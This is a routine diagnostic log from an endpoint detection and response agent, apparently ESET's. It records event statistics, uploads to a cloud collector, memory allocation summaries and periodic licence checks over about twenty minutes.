2026-03-04 01:57:25 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 01:53:18, To:, 2026-03-04 01:57:25, Duration (s):, 247, Events Per Second:, 16.518, Events:, 4095, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3338, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 17, Livegrid:, 17, OriginUrl:, 0, Alarms:, 722, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 454212
2026-03-04 01:57:27 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s362ms.
2026-03-04 01:57:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1454 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 530 KB; TcpIpConnectionsManager: 529 KB; ModuleMetadata: 507 KB; rules::ProcessConditionsCache: 412 KB; BaseEvent: 90 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65809 KB;
2026-03-04 01:58:11 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 01:58:11 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 01:58:11 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 01:58:11 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 01:58:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:58:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 01:58:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:58:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:58:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1815 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 529 KB; TcpIpConnectionsManager: 527 KB; ModuleMetadata: 507 KB; rules::ProcessConditionsCache: 396 KB; BaseEvent: 267 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; BatchSerializer::EventsQueueTag: 69 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66375 KB;
2026-03-04 01:59:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2188 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 532 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 530 KB; ModuleMetadata: 507 KB; BaseEvent: 449 KB; rules::ProcessConditionsCache: 393 KB; BatchSerializer::EventsQueueTag: 116 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66978 KB;
2026-03-04 02:00:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2558 KB; BaseEvent: 628 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 534 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 532 KB; ModuleMetadata: 507 KB; rules::ProcessConditionsCache: 379 KB; BatchSerializer::EventsQueueTag: 164 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67570 KB;
2026-03-04 02:01:34 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 01:57:25, To:, 2026-03-04 02:01:33, Duration (s):, 248, Events Per Second:, 16.551, Events:, 4121, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3399, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 3, Livegrid:, 3, OriginUrl:, 0, Alarms:, 715, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458284
2026-03-04 02:01:36 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s559ms.
2026-03-04 02:01:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1421 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 535 KB; TcpIpConnectionsManager: 534 KB; ModuleMetadata: 507 KB; rules::ProcessConditionsCache: 361 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; BaseEvent: 63 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 16 KB; ProcessInfoCommandLineTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 65704 KB;
2026-03-04 02:02:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1794 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 536 KB; TcpIpConnectionsManager: 534 KB; ModuleMetadata: 507 KB; rules::ProcessConditionsCache: 376 KB; BaseEvent: 249 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; BatchSerializer::EventsQueueTag: 65 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66328 KB;
2026-03-04 02:03:11 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 02:03:11 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 02:03:11 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 02:03:11 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 02:03:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:03:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 02:03:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:03:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:03:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2159 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 537 KB; TcpIpConnectionsManager: 534 KB; ModuleMetadata: 507 KB; BaseEvent: 427 KB; rules::ProcessConditionsCache: 352 KB; BatchSerializer::EventsQueueTag: 111 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66893 KB;
2026-03-04 02:04:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2532 KB; BaseEvent: 608 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 547 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 537 KB; ModuleMetadata: 507 KB; rules::ProcessConditionsCache: 368 KB; BatchSerializer::EventsQueueTag: 159 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67525 KB;
2026-03-04 02:05:42 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 02:01:33, To:, 2026-03-04 02:05:41, Duration (s):, 248, Events Per Second:, 16.443, Events:, 4092, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3381, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 710, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 454315
2026-03-04 02:05:44 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s090ms.
2026-03-04 02:05:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1371 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 535 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 524 KB; ModuleMetadata: 507 KB; rules::ProcessConditionsCache: 344 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; BaseEvent: 46 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 12 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65604 KB;
2026-03-04 02:06:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1731 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 532 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 527 KB; ModuleMetadata: 507 KB; rules::ProcessConditionsCache: 317 KB; BaseEvent: 226 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; BatchSerializer::EventsQueueTag: 58 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66163 KB;
2026-03-04 02:07:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2097 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 532 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 528 KB; ModuleMetadata: 507 KB; BaseEvent: 407 KB; rules::ProcessConditionsCache: 312 KB; BatchSerializer::EventsQueueTag: 106 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66754 KB;
2026-03-04 02:08:11 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 02:08:11 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 02:08:11 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 02:08:11 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 02:08:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:08:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 02:08:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:08:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:08:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2458 KB; BaseEvent: 585 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 539 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 528 KB; ModuleMetadata: 507 KB; rules::ProcessConditionsCache: 286 KB; BatchSerializer::EventsQueueTag: 153 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67320 KB;
2026-03-04 02:09:29 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 02:05:41, To:, 2026-03-04 02:09:29, Duration (s):, 228, Events Per Second:, 17.617, Events:, 4033, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3245, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 60, Livegrid:, 60, OriginUrl:, 0, Alarms:, 667, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 445608
2026-03-04 02:09:31 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s227ms.
2026-03-04 02:09:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1498 KB; TcpIpConnectionsManager: 552 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 533 KB; ModuleMetadata: 507 KB; rules::ProcessConditionsCache: 329 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; BaseEvent: 76 KB; cloudutils::CloudData: 33 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 19 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65787 KB;
2026-03-04 02:10:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1863 KB; TcpIpConnectionsManager: 555 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 532 KB; ModuleMetadata: 507 KB; rules::ProcessConditionsCache: 284 KB; BaseEvent: 257 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; BatchSerializer::EventsQueueTag: 68 KB; cloudutils::CloudData: 33 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66337 KB;
2026-03-04 02:11:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2223 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 542 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 535 KB; ModuleMetadata: 507 KB; BaseEvent: 433 KB; rules::ProcessConditionsCache: 257 KB; BatchSerializer::EventsQueueTag: 113 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 33 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66882 KB;
2026-03-04 02:12:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2585 KB; BaseEvent: 614 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 536 KB; TcpIpConnectionsManager: 530 KB; ModuleMetadata: 507 KB; rules::ProcessConditionsCache: 240 KB; BatchSerializer::EventsQueueTag: 161 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 33 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67444 KB;
2026-03-04 02:13:12 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 02:13:12 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 02:13:12 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 02:13:12 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 02:13:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:13:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 02:13:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:13:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:13:37 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 02:09:29, To:, 2026-03-04 02:13:37, Duration (s):, 248, Events Per Second:, 16.434, Events:, 4090, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3374, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 715, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 453651
2026-03-04 02:13:39 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s409ms.
2026-03-04 02:13:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1377 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 534 KB; TcpIpConnectionsManager: 516 KB; ModuleMetadata: 507 KB; rules::ProcessConditionsCache: 225 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; BaseEvent: 51 KB; cloudutils::CloudData: 33 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 13 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65485 KB;
2026-03-04 02:14:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1737 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 536 KB; TcpIpConnectionsManager: 511 KB; ModuleMetadata: 507 KB; BaseEvent: 230 KB; rules::ProcessConditionsCache: 205 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; BatchSerializer::EventsQueueTag: 59 KB; cloudutils::CloudData: 33 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66049 KB;
2026-03-04 02:15:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2101 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 522 KB; TcpIpConnectionsManager: 516 KB; ModuleMetadata: 507 KB; BaseEvent: 410 KB; rules::ProcessConditionsCache: 196 KB; BatchSerializer::EventsQueueTag: 106 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 33 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66622 KB;
2026-03-04 02:16:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2463 KB; BaseEvent: 587 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 522 KB; TcpIpConnectionsManager: 517 KB; ModuleMetadata: 507 KB; rules::ProcessConditionsCache: 179 KB; BatchSerializer::EventsQueueTag: 153 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 33 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67193 KB;
2026-03-04 02:17:50 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 02:13:37, To:, 2026-03-04 02:17:50, Duration (s):, 253, Events Per Second:, 16.257, Events:, 4115, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3383, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 729, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456573
2026-03-04 02:17:51 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s411ms.
2026-03-04 02:17:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1285 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 526 KB; TcpIpConnectionsManager: 516 KB; ModuleMetadata: 507 KB; rules::ProcessConditionsCache: 170 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 33 KB; rules::CachedConditionEvaluationCtx: 22 KB; BaseEvent: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; BatchSerializer::EventsQueueTag: 5 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65293 KB;
2026-03-04 02:18:12 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 02:18:12 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 02:18:12 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 02:18:12 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 02:18:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:18:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 02:18:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:18:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:18:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1646 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 527 KB; TcpIpConnectionsManager: 516 KB; ModuleMetadata: 507 KB; BaseEvent: 198 KB; rules::ProcessConditionsCache: 150 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; BatchSerializer::EventsQueueTag: 51 KB; cloudutils::CloudData: 33 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 65857 KB;
2026-03-04 02:19:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2007 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 528 KB; TcpIpConnectionsManager: 516 KB; ModuleMetadata: 507 KB; BaseEvent: 376 KB; rules::ProcessConditionsCache: 136 KB; BatchSerializer::EventsQueueTag: 98 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 33 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66431 KB;
